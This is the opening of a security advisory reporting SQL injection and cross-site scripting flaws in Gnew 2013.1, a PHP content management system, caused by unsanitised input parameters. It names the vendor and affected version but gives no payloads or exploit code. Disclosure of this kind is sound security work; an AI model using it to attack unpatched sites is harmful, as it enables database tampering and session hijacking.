Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities


Vendor: Raoul Proença
Product web page: http://www.gnew.fr
Affected version: 2013.1

Summary: Gnew is a simple Content Management
System written with PHP language and using a
database server (MySQL, PostgreSQL or SQLite)
for storage.

Desc: Input passed via several parameters is not properly
sanitised before being returned to the user or used in SQL
queries. This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code and HTML/script code in a
user's browser session in context of an affected site.
